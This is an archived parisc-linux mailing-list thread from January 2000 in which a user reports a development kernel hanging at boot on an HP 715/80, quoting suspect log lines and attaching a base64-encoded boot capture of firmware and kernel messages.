Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 06:46:17 -0000
Original-Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x2.nokia.com (8.9.3/8.9.3/o) with ESMTP id IAA18571;
	Tue, 25 Jan 2000 08:46:03 +0200 (EET)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id IAA29217;
	Tue, 25 Jan 2000 08:46:03 +0200 (EET)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id IAA16781;
	Tue, 25 Jan 2000 08:46:02 +0200 (EET)
In-Reply-To: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6739

On Mon, 24 Jan 2000, dkennedy@linuxcare.com wrote:

> On Sat, 22 Jan 2000, Hannu Martikka wrote:
> 
> > Hi,
> > 
> > Is there something wrong with the hardware database?  
> > I cannot access it (ERROR 312 -- Cannot connect to the server ). Other
> > pages in thepuffingroup.com/parisc work ok.
> 
> It should be back up and running.  Can you please check it and see if
> you are still having a problem.
Ok. I checked it and it works. Thanks.


> -- 
> David Kennedy
- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715 problem
Date: Tue, 25 Jan 2000 19:38:01 +0200 (EET)
Lines: 479
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0001251927060.15648-200000@gamgee.ntc.nokia.com>
References: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="1418613302-341603450-948821881=:15648"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618742 29808 80.91.229.3 (22 Nov 2014 01:12:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martikka@stybba.ntc.nokia.com  Tue Jan 25 11:37:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA15708
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 11:37:15 -0700
Original-Received: (qmail 14936 invoked by uid 15267); 25 Jan 2000 17:38:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14926 invoked from network); 25 Jan 2000 17:38:06 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 17:38:05 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3/o) with ESMTP id TAA12931
	for <parisc-linux@thepuffingroup.com>; Tue, 25 Jan 2000 19:38:03 +0200 (EET)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id TAA03145
	for <parisc-linux@thepuffingroup.com>; Tue, 25 Jan 2000 19:38:02 +0200 (EET)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id TAA20580
	for <parisc-linux@thepuffingroup.com>; Tue, 25 Jan 2000 19:38:01 +0200 (EET)
In-Reply-To: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6740

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--1418613302-341603450-948821881=:15648
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
Content-Transfer-Encoding: 8bit

Hei,

I tried the linux-2.3 latest kernel (ramdisk.bin-20000118a) from CVS with
715/80. I didn't get shell prompt. It seems to end up with somekind of
endless loop.

I'll include the bootup messages. Hopefully someone can make something out
of them..
My guess would be that something goes wrong near lines:
	do_mmap c7efc0e0 00001000 0003f000 00000005 00001806 00000000
	miscoloured mmap
or
	mem_map disagrees with c122b77c at 2001f000

Also I wonder why it doesn't recognice the Model/CPU-type? Even the size
of memory is incorrent (256). MHz figure is ok.
	model   00006190 00000481 00000000 00000000 7804f0a4 00000000 
00000004 00000072 00000072
	vers    0000000b
	CPUID vers 0 rev 0
	Model: <NULL> with 128 MB RAM.
	CPU(s): 1 x <unknown> at 80.000000 MHz

Kernel was compiled by running "make oldconfig; make dep; make clean; make
Image".

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


--1418613302-341603450-948821881=:15648
Content-Type: TEXT/plain; name="hpcapture3.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.HPX.4.21.0001251938010.15648@gamgee.ntc.nokia.com>
Content-Description: 
Content-Disposition: attachment; filename="hpcapture3.txt"
Content-Transfer-Encoding: 8bit

DQ0KDQ0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0NCkJvb3RS
b20gVmVyc2lvbiAgICAxLjQgIA0NCk1lbW9yeSBTaXplOiAgMjU2IE1CDQ0K
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0NCg0NCg0NCg0NCg0N
CihjKSBDb3B5cmlnaHQgMTk5MC0xOTk0LCBIZXdsZXR0LVBhY2thcmQgQ29t
cGFueS4NDQpBbGwgcmlnaHRzIHJlc2VydmVkDQ0KDQ0KUHJlc3MgPEVTQ0FQ
RT4gdG8gc3RvcCBib290IHNlcXVlbmNlLg0NCg0NClN0YXJ0aW5nIEF1dG8g
Ym9vdA0NCg0KDQ0KTG9hZGluZyBJbml0aWFsIFByb2dyYW0gTG9hZGVyDQ0K
DQoNDQpJUEwgc3VjY2Vzc2Z1bGx5IGxvYWRlZA0NCg0KDQ0KQm9vdGluZw0N
Cg0NCklTTCBSZXZpc2lvbiBBLjAwLjM4ICBPQ1QgMjYsIDE5OTQgDQ0KDQ0K
SVNMIGJvb3RpbmcgIGhwdXgNDQoNDQpCb290DQ0KOiBkaXNrKDIvMC8xLjYu
MC4wLjAuMC4wOzApL3N0YW5kL3ZtdW5peA0KDQ0NCg0NCi0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0NDQpCb290Um9tIFZlcnNpb24gICAgMS40
ICANDQpNZW1vcnkgU2l6ZTogIDI1NiBNQg0NCi0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0NDQoNDQoNDQoNDQoNDQooYykgQ29weXJpZ2h0IDE5
OTAtMTk5NCwgSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkuDQ0KQWxsIHJpZ2h0
cyByZXNlcnZlZA0NCg0NClByZXNzIDxFU0NBUEU+IHRvIHN0b3AgYm9vdCBz
ZXF1ZW5jZS4NDQoNDQpTdGFydGluZyBBdXRvIGJvb3QNDQoNCi0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NDQpDb21tYW5kICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBEZXNjcmlwdGlvbg0NCi0tLS0tLS0gICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0tLS0tLS0tLS0tDQ0KQXV0
byBbYm9vdHxzZWFyY2hdIFtvbnxvZmZdICAgICAgICAgICAgU2V0L3Nob3cg
YXV0byBtb2RlDQ0KQm9vdCBbcHJpfGFsdCBbaXNsXV0gICAgICAgICAgICAg
ICAgICAgQm9vdCBmcm9tIHByaW1hcnkgb3IgYWx0ZXJuYXRlIHBhdGgNDQpC
b290IFtzY3NpfGVpc2EuPHNsb3Q+Wy48YWRkcj5dXSBbaXNsXSBCb290IGZy
b20gU0NTSSBvciBFSVNBDQ0KQm9vdCBsYW5bLjxhZGRyPl0gW2luc3RhbGxd
IFtpc2xdICAgICAgQm9vdCBmcm9tIExBTg0NCkNoYXNzaXMgW29ufG9mZl0g
ICAgICAgICAgICAgICAgICAgICAgIFNldC9zaG93IGNoYXNzaXMgY29kZXMg
ZGlzcGxheSBtb2RlDQ0KRGVmYXVsdFNTICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgUmVib290IGFuZCBzZXQgRUVQUk9NIHRvIGRlZmF1bHQgdmFs
dWVzDQ0KRGlhZ25vc3RpYyBbb258b2ZmXSAgICAgICAgICAgICAgICAgICAg
U2V0L3Nob3cgZGlhZ25vc3RpYyBib290IG1vZGUNDQpGYXN0Ym9vdCBbb258
b2ZmXSAgICAgICAgICAgICAgICAgICAgICBTZXQvc2hvdyBmYXN0IGJvb3Qg
bW9kZQ0NCkhlbHAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IFNob3cgdGhpcyBjb21tYW5kIG1lbnUNDQpJbmZvcm1hdGlvbiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBTaG93IHN5c3RlbSBpbmZvcm1hdGlvbg0N
CkxhbkFkZHJlc3MgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNob3cg
TEFOIHN0YXRpb24gYWRkcmVzc2VzDQ0KTW9uaXRvciBbPERFVj5bLjx0eXBl
Pl1dICAgICAgICAgICAgICAgU2V0L3Nob3cgZ3JhcGhpY3MgbW9uaXRvciB0
eXBlDQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
KDxERVY+PWdyYXBoaWNzfGdyYXBoaWNzXzwxfDI+KQ0NClBhdGggW3ByaXxh
bHQgWzxERVY+Wy48YWRkcj5dXV0gICAgICAgIFNldC9zaG93IGJvb3Qgc291
cmNlIHBhdGgNDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAoPERFVj49bGFufHNjc2l8ZWlzYS48c2xvdD4pDQ0KUGF0aCBbY29u
c29sZSBbPERFVj5bLjxwYXJtPl1dXSAgICAgICAgU2V0L3Nob3cgYm9vdCBj
b25zb2xlIHBhdGgNDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAoPERFVj49PFJTMjMyPnw8R1JBUEg+DQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxSUzIzMj49cnMyMzJ8cnMy
MzJfMg0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICA8cGFybT49PGJhdWQ+LjxsZW5ndGg+LjxwYXJpdHk+DQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxHUkFQSD49Z3JhcGhp
Y3N8Z3JhcGhpY3NfPDF8Mj4NDQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgPHBhcm0+PTxtb25pdG9yPikNDQpQYXRoIFtrZXli
b2FyZCBbaGlsfHBzMl1dICAgICAgICAgICAgICBTZXQvc2hvdyBib290IGtl
eWJvYXJkIHBhdGgNDQpQaW0gW2hwbWN8dG9jfGxwbWNdICAgICAgICAgICAg
ICAgICAgICBTaG93IFBJTSBpbmZvDQ0KU2VhcmNoIFtpcGxdIFtzY3NpfGVp
c2FdICAgICAgICAgICAgICAgU2hvdyBwb3RlbnRpYWwgYm9vdCBkZXZpY2Vz
DQ0KU2VhcmNoIFtpcGxdIFtsYW4gW2luc3RhbGxdXSAgICAgICAgICAgU2hv
dyBwb3RlbnRpYWwgYm9vdCBMQU4gZGV2aWNlcw0NClNlY3VyZSBbb258b2Zm
XSAgICAgICAgICAgICAgICAgICAgICAgIFNldC9zaG93IHNlY3VyaXR5IG1v
ZGUNDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQ0KQk9PVF9B
RE1JTj4gYm8gbGFuDQoNDQ0KDQoNCg0KQXR0ZW1wdGluZyB0byBib290Lg0N
Cg0NCkxvYWRpbmcgSW5pdGlhbCBQcm9ncmFtIExvYWRlcg0NCg0KDQ0KSVBM
IHN1Y2Nlc3NmdWxseSBsb2FkZWQNDQoNCg0NCkJvb3RpbmcNDQoNDQotLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NDQoNDQpQQVJJU0MvTGlu
dXggQm9vdHN0cmFwIFZlcnNpb24gMC42IChub24taW50ZXJhY3RpdmUpDQ0K
QnkgSGVsZ2UgRGVsbGVyICYgSmFzb24gRWNraGFyZHQNDQpCdWlsdCBUdWUg
SmFuIDI1IDE3OjI0OjA1IEVFVCAyMDAwIGJ5IHJvb3RAc3BlY3Rlcg0NCg0N
Ck9mZmljaWFsIG1lbW9yeSBzdGFydHMgYXQgMDAwMDgwMDANDQpSZWFkaW5n
IHBhcmFtZXRlcnMuLi5kb25lLg0NCg0NCkxvYWRpbmcgUEEtUklTQy9MaW51
eCBLZXJuZWwuLi4NDQpTT00tS2VybmVsOg0NCmF1eF9oZWFkZXJfbG9jYXRp
b246IDAwMDAwMDgwDQ0Kc29tICAgICAgIDogMDEwMDAwODANDQpleGVjX2Rm
aWxlOiAwMDEwODAwMA0NCmV4ZWNfZHNpemU6IDAwMEJDMDAwDQ0KZXhlY19k
bWVtIDogQzAxQzUwMDANDQpleGVjX3RmaWxlOiAwMDA0MzAwMA0NCmV4ZWNf
dHNpemU6IDAwMEM0MDA4DQ0KZXhlY190bWVtIDogQzAxMDAwMDANDQpleGVj
X2JzaXplOiAwMDA2MEIxMA0NCmV4ZWNfZW50cnk6IEMwMTAwMDAwDQ0KQ29k
ZSBhdCAweDAwMTAwMDAwLCBzaXplPTB4MDAwQzQwMDgNDQpEYXRhIGF0IDB4
MDAxQzUwMDAsIHNpemU9MHgwMDBCQzAwMA0NCkJTUyAgYXQgMHgwMDI4MTAw
MC4NDQpleGVjX2VudHJ5OiBDMDEwMDAwMA0NCg0NClRyYW5zZmVycmluZyBj
b250cm9sIHRvIGtlcm5lbC4gKEF0IGVudHJ5IHBvaW50IDB4MDAxMDAwMDAp
DQ0KIS5pb2RjX2Nvbl9pbml0DQ0KQ29uc29sZTogc3dpdGNoaW5nIHRvIElP
REMgY29uc29sZQ0NClRoZSBLZXJuZWwgaGFzIHN0YXJ0ZWQuLi4NDQpGcmVl
IG1lbW9yeSBzdGFydHMgYXQ6IDB4YzAyZTFhZjANDQpGUCBDQ1Igd2FzIDB4
MCwgd2lsbCBiZSBzZXQgdG8gMHhjMA0NCm1vZGVsICAgMDAwMDYxOTAgMDAw
MDA0ODEgMDAwMDAwMDAgMDAwMDAwMDAgNzgwNGYwYTQgMDAwMDAwMDAgMDAw
MDAwMDQgMDAwMDAwNzIgMDAwMDAwNzINDQp2ZXJzICAgIDAwMDAwMDBiDQ0K
Q1BVSUQgdmVycyAwIHJldiAwDQ0KTW9kZWw6IDxOVUxMPiB3aXRoIDEyOCBN
QiBSQU0uDQ0KQ1BVKHMpOiAxIHggPHVua25vd24+IGF0IDgwLjAwMDAwMCBN
SHoNDQpTZWFyY2hpbmcgZm9yIGRldmljZXMgaW4gUERDIGZpcm13YXJlLi4u
ICBhbiBvbGRlciBib3guLi4NDQpGb3VuZCBkZXZpY2VzOg0NCjEuIE1pcmFn
ZSA4MCBHU0MgQnVpbHRpbiBHcmFwaGljcyAoMTApIGF0IDB4ZjgwMDAwMDAs
IHZlcnNpb25zIDB4MTAsIDB4MCwgMHg4NSwgMHgwLCAweDANDQoyLiBNaXJh
Z2UgODAgQ29yZSBCQSAoMTEpIGF0IDB4ZjAxMDAwMDAsIHZlcnNpb25zIDB4
MmIsIDB4MCwgMHg4MSwgMHgwLCAweDANDQozLiBNaXJhZ2UgODAgQ29yZSBT
Q1NJICgxMCkgYXQgMHhmMDEwNjAwMCwgdmVyc2lvbnMgMHgyYiwgMHgwLCAw
eDgyLCAweDAsIDB4MA0NCjQuIE1pcmFnZSA4MCBDb3JlIExBTiAoODAyLjMp
ICgxMCkgYXQgMHhmMDEwNzAwMCwgdmVyc2lvbnMgMHgyYiwgMHgwLCAweDhh
LCAweDAsIDB4MA0NCjUuIE1pcmFnZSA4MCBDb3JlIFJTLTIzMiAoMTApIGF0
IDB4ZjAxMDUwMDAsIHZlcnNpb25zIDB4MmIsIDB4MCwgMHg4YywgMHgwLCAw
eDANDQo2LiBNaXJhZ2UgODAgQ29yZSBDZW50cm9uaWNzICgxMCkgYXQgMHhm
MDEwMjAwMCwgdmVyc2lvbnMgMHgyYiwgMHgwLCAweDc0LCAweDAsIDB4MA0N
CjcuIE1pcmFnZSA4MCBBdWRpbyAoMTApIGF0IDB4ZjAxMDQwMDAsIHZlcnNp
b25zIDB4MmIsIDB4MCwgMHg3YiwgMHgwLCAweDANDQo4LiBNaXJhZ2UgODAg
Q29yZSBQQyBGbG9wcHkgKDEwKSBhdCAweGYwMTBhMDAwLCB2ZXJzaW9ucyAw
eDJiLCAweDAsIDB4ODMsIDB4MCwgMHgwDQ0KOS4gTWlyYWdlIDgwIENvcmUg
UEMgS2V5Ym9hcmQgKDEwKSBhdCAweGYwMTA4MDAwLCB2ZXJzaW9ucyAweDJi
LCAweDAsIDB4ODQsIDB4MCwgMHgwDQ0KMTAuIE1pcmFnZSA4MCBDb3JlIFBD
IEtleWJvYXJkICgxMCkgYXQgMHhmMDEwODEwMCwgdmVyc2lvbnMgMHgyYiwg
MHgwLCAweDg0LCAweDAsIDB4MA0NCjExLiBVbmtub3duIGRldmljZSAoMTEp
IGF0IDB4ZjAyMDAwMDAsIHZlcnNpb25zIDB4MTAsIDB4MCwgMHg4ZSwgMHgw
LCAweDANDQoxMi4gUGFjZSBDb3JlIEhJTCAoMTApIGF0IDB4ZjAyMDEwMDAs
IHZlcnNpb25zIDB4MTAsIDB4MCwgMHg3MywgMHgwLCAweDANDQoxMy4gTWly
YWdlIDgwIFdheCBSUy0yMzIgKDEwKSBhdCAweGYwMjAyMDAwLCB2ZXJzaW9u
cyAweDEwLCAweDAsIDB4OGMsIDB4MCwgMHgwDQ0KMTQuIE1pcmFnZSA4MCAg
KDApIGF0IDB4ZmZmYmUwMDAsIHZlcnNpb25zIDB4NjE5LCAweDAsIDB4NCwg
MHgwLCAweDgxDQ0KMTUuIE1pcmFnZSA4MCAoMSkgYXQgMHhmZmZiZjAwMCwg
dmVyc2lvbnMgMHg0ZiwgMHgwLCAweDksIDB4MCwgMHgwDQ0KVGhhdCdzIGEg
dG90YWwgb2YgMTUgZGV2aWNlcy4NDQpMaW51eCB2ZXJzaW9uIDIuMy4yOSAo
cm9vdEBzcGVjdGVyKSAoZ2NjIHZlcnNpb24gMi45NS4xIDE5OTkwODE2IChy
ZWxlYXNlKSkgIzIgVHVlIEphbiAyNSAxNzoxNDoyMyBFRVQgMjAwMA0NCmlu
aXRfYm9vdG1lbSA3MzggMzI3NjgNDQpmcmVlX2Jvb3RtZW0gMDAyZTJhZjAg
MDdkMWQ1MTANDQpkX2NvbmYgNjE0MDIwMDANDQppbml0cmQ6IGMwMWNiMDAw
LWMwMjZkODAwDQ0KY29tbWFuZF9saW5lOiAvc3RhbmQvdm1saW51eCBIT01F
PS8gVEVSTT1MSU5VWCBjb25zb2xlPXR0eQ0NCg0NCnBhZ2V0YWJsZV9pbml0
DQ0KdG90YWxwYWdlczogMDAwMDgwMDANDQp6b25lKDApOiAxNjM4NCBwYWdl
cy4NDQp6b25lKDEpOiAxNjM4NCBwYWdlcy4NDQp6b25lKDIpOiAwIHBhZ2Vz
Lg0NCnRyYXBfaW5pdA0NCiNDb25zb2xlOiBtb25vIElPREMgY29uc29sZSA4
MHgzNA0NCmlvZGNfY29uX2luaXRDb25zb2xlOiBzd2l0Y2hpbmcgdG8gSU9E
QyBjb25zb2xlVGhlIEtlcm5lbCBoYXMgc3RhcnRlZC4uLkZyZWUgbWVtb3J5
IHN0YXJ0cyBhdDogMHhjMDJlMWFmMEZQIENDUiB3YXMgMHgwLCB3aWxsIGJl
IHNldCB0byAweGMwbW9kZWwgICAwMDAwNjE5MCAwMDAwMDQ4MSAwMDAwMDAw
MCAwMDAwMDAwMCA3ODA0ZjBhNCAwMDAwMDAwMCAwMDAwMDAwNCAwMDAwMDA3
MiAwMDAwMDA3MnZlcnMgICAgMDAwMDAwMGJDUFVJRCB2ZXJzIDAgcmV2IDBN
b2RlbDogPE5VTEw+IHdpdGggMTI4IE1CIFJBTS5DUFUocyk6IDEgeCA8dW5r
bm93bj4gYXQgODAuMDAwMDAwIE1IelNlYXJjaGluZyBmb3IgZGV2aWNlcyBp
biBQREMgZmlybXdhcmUuLi4gIGFuIG9sZGVyIGJveC4uLkZvdW5kIGRldmlj
ZXM6MS4gTWlyYWdlIDgwIEdTQyBCdWlsdGluIEdyYXBoaWNzICgxMCkgYXQg
MHhmODAwMDAwMCwgdmVyc2lvbnMgMHgxMCwgMHgwLCAweDg1LCAweDAsIDB4
MDIuIE1pcmFnZSA4MCBDb3JlIEJBICgxMSkgYXQgMHhmMDEwMDAwMCwgdmVy
c2lvbnMgMHgyYiwgMHgwLCAweDgxLCAweDAsIDB4MDMuIE1pcmFnZSA4MCBD
b3JlIFNDU0kgKDEwKSBhdCAweGYwMTA2MDAwLCB2ZXJzaW9ucyAweDJiLCAw
eDAsIDB4ODIsIDB4MCwgMHgwNC4gTWlyYWdlIDgwIENvcmUgTEFOICg4MDIu
MykgKDEwKSBhdCAweGYwMTA3MDAwLCB2ZXJzaW9ucyAweDJiLCAweDAsIDB4
OGEsIDB4MCwgMHgwNS4gTWlyYWdlIDgwIENvcmUgUlMtMjMyICgxMCkgYXQg
MHhmMDEwNTAwMCwgdmVyc2lvbnMgMHgyYiwgMHgwLCAweDhjLCAweDAsIDB4
MDYuIE1pcmFnZSA4MCBDb3JlIENlbnRyb25pY3MgKDEwKSBhdCAweGYwMTAy
MDAwLCB2ZXJzaW9ucyAweDJiLCAweDAsIDB4NzQsIDB4MCwgMHgwNy4gTWly
YWdlIDgwIEF1ZGlvICgxMCkgYXQgMHhmMDEwNDAwMCwgdmVyc2lvbnMgMHgy
YiwgMHgwLCAweDdiLCAweDAsIDB4MDguIE1pcmFnZSA4MCBDb3JlIFBDIEZs
b3BweSAoMTApIGF0IDB4ZjAxMGEwMDAsIHZlcnNpb25zIDB4MmIsIDB4MCwg
MHg4MywgMHgwLCAweDA5LiBNaXJhZ2UgODAgQ29yZSBQQyBLZXlib2FyZCAo
MTApIGF0IDB4ZjAxMDgwMDAsIHZlcnNpb25zIDB4MmIsIDB4MCwgMHg4NCwg
MHgwLCAweDAxMC4gTWlyYWdlIDgwIENvcmUgUEMgS2V5Ym9hcmQgKDEwKSBh
dCAweGYwMTA4MTAwLCB2ZXJzaW9ucyAweDJiLCAweDAsIDB4ODQsIDB4MCwg
MHgwMTEuIFVua25vd24gZGV2aWNlICgxMSkgYXQgMHhmMDIwMDAwMCwgdmVy
c2lvbnMgMHgxMCwgMHgwLCAweDhlLCAweDAsIDB4MDEyLiBQYWNlIENvcmUg
SElMICgxMCkgYXQgMHhmMDIwMTAwMCwgdmVyc2lvbnMgMHgxMCwgMHgwLCAw
eDczLCAweDAsIDB4MDEzLiBNaXJhZ2UgODAgV2F4IFJTLTIzMiAoMTApIGF0
IDB4ZjAyMDIwMDAsIHZlcnNpb25zIDB4MTAsIDB4MCwgMHg4YywgMHgwLCAw
eDAxNC4gTWlyYWdlIDgwICAoMCkgYXQgMHhmZmZiZTAwMCwgdmVyc2lvbnMg
MHg2MTksIDB4MCwgMHg0LCAweDAsIDB4ODExNS4gTWlyYWdlIDgwICgxKSBh
dCAweGZmZmJmMDAwLCB2ZXJzaW9ucyAweDRmLCAweDAsIDB4OSwgMHgwLCAw
eDANDQpUaGF0J3MgYSB0b3RhbCBvZiAxNSBkZXZpY2VzLg0NCkxpbnV4IHZl
cnNpb24gMi4zLjI5IChyb290QHNwZWN0ZXIpIChnY2MgdmVyc2lvbiAyLjk1
LjEgMTk5OTA4MTYgKHJlbGVhc2UpKSAjMiBUDQ0KdWUgSmFuIDI1IDE3OjE0
OjIzIEVFVCAyMDAwDQ0KaW5pdF9ib290bWVtIDczOCAzMjc2OA0NCmZyZWVf
Ym9vdG1lbSAwMDJlMmFmMCAwN2QxZDUxMA0NCmRfY29uZiA2MTQwMjAwMA0N
CmluaXRyZDogYzAxY2IwMDAtYzAyNmQ4MDANDQpjb21tYW5kX2xpbmU6IC9z
dGFuZC92bWxpbnV4IEhPTUU9LyBURVJNPUxJTlVYIGNvbnNvbGU9dHR5DQ0K
DQ0KcGFnZXRhYmxlX2luaXQNDQp0b3RhbHBhZ2VzOiAwMDAwODAwMA0NCnpv
bmUoMCk6IDE2Mzg0IHBhZ2VzLg0NCnpvbmUoMSk6IDE2Mzg0IHBhZ2VzLg0N
CnpvbmUoMik6IDAgcGFnZXMuDQ0KdHJhcF9pbml0DQ0KQ29uc29sZTogbW9u
byBJT0RDIGNvbnNvbGUgODB4MzQNDQpyZWdpc3Rlcl9jb25zb2xlDQ0KQ2Fs
aWJyYXRpbmcgZGVsYXkgbG9vcC4uLiA3Ny45OSBCb2dvTUlQUw0NCm1heF9s
b3dfcGZuIDMyNzY4DQ0KTWVtb3J5OiAxMjU3NDBrIGF2YWlsYWJsZQ0NCmtt
ZW1fdGVzdCgpIC0gc3RhcnQNDQprbWVtX2ZyZWU6IEJhZCBmcm9udCByZWR6
b25lIChvYmpwPWM3ZmZlMDA0LCBuYW1lPXRlc3QtY2FjaGVwKQ0NCmttZW1f
ZnJlZTogQmFkIHJlYXIgcmVkem9uZSAob2JqcD1jN2ZmZTAwNCwgbmFtZT10
ZXN0LWNhY2hlcCkNDQprbWVtX3Rlc3QoKSAtIGZpbmlzaGVkDQ0KYzdmZjAw
MDAgYzdmZjgwMDAgYzdmZWUwMDAgYzdmZmMwMDANDQpCdWZmZXItY2FjaGUg
aGFzaCB0YWJsZSBlbnRyaWVzOiA4MTkyIChvcmRlcjogMywgMzI3NjggYnl0
ZXMpDQ0KUGFnZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4IChv
cmRlcjogNSwgMTMxMDcyIGJ5dGVzKQ0NClBPU0lYIGNvbmZvcm1hbmNlIHRl
c3RpbmcgYnkgVU5JRklYDQ0Kc3dpdGNoX3RvIGMwMWM2MDAwIGM3ZmU4MDAw
DQ0KTGFzaSB2ZXJzaW9uIDAgYXQgMHhmMDEwMDAwMCBmb3VuZC4NDQpyZXF1
ZXN0X2lycSgyLCBjMDFiOTM1MCwgMHgwLCBsYXNpLCBjN2ZlYjA2MCkNDQpl
bmFibGVfaXJxKDAgKyAyKSBjYWxsZWQgYnV0IG5vIHN1cHBvcnQNDQpMYXNp
IElSUSAyIEVJTSAweGZmZmUwMDAyPDQ+DQ0KbGFzaV9hbGxvY19pcnEoMHhm
MDEwNTAwMCkgMHgxMDAgKyAyNiA9IDI4Mg0NCkZvdW5kIExBU0kgc2VyaWFs
ICMwIGF0IDB4ZjAxMDUwMDAsIElSUSAyODINDQp0dHlTMDAgYXQgaW9tZW0g
MHhmMDEwNTgwMCAoaXJxID0gMjgyKSBpcyBhIDE2NTUwQQ0NCmxhc2lfYWxs
b2NfaXJxKDB4YzAyZGIwNjApOiBObyBrbm93biBMQVNJIG93bnMgZGV2aWNl
IGF0IDB4ZjAyMDIwMDANDQpJUlEgbm90IGZvdW5kIGZvciBsYXNpIHNlcmlh
bCBhdCAweGYwMjAyMDAwDQ0KV2FybmluZyA6IGRldmljZSAoMTAsIDB4MTAs
IDB4MCwgMHg4YywgMHgwKSBOT1QgY2xhaW1lZCBieSBMYXNpIHNlcmlhbCA3
MTIsIDcxNSANDQpvciBzaW1pbGlhcg0NCkluaXRpYWxpemluZyBsYXNpIGtl
eWJvYXJkIHBvcnQgYXQgMHhmMDEwODAwMC4uLg0NCmxhc2lfYWxsb2NfaXJx
KDB4ZjAxMDgwMDApIDB4MTAwICsgNSA9IDI2MQ0NCnJlcXVlc3RfaXJxKDI2
MSwgYzAxYjgxNTgsIDB4MCwgR1NDIFBTLzIsIGYwMTA4MDAwKQ0NCmxhc2lf
ZW5hYmxlX2lycShjN2ZlYjA2MCwgNSkgSU1SIDB4NDAwMDAwMCBhZGRyIGYw
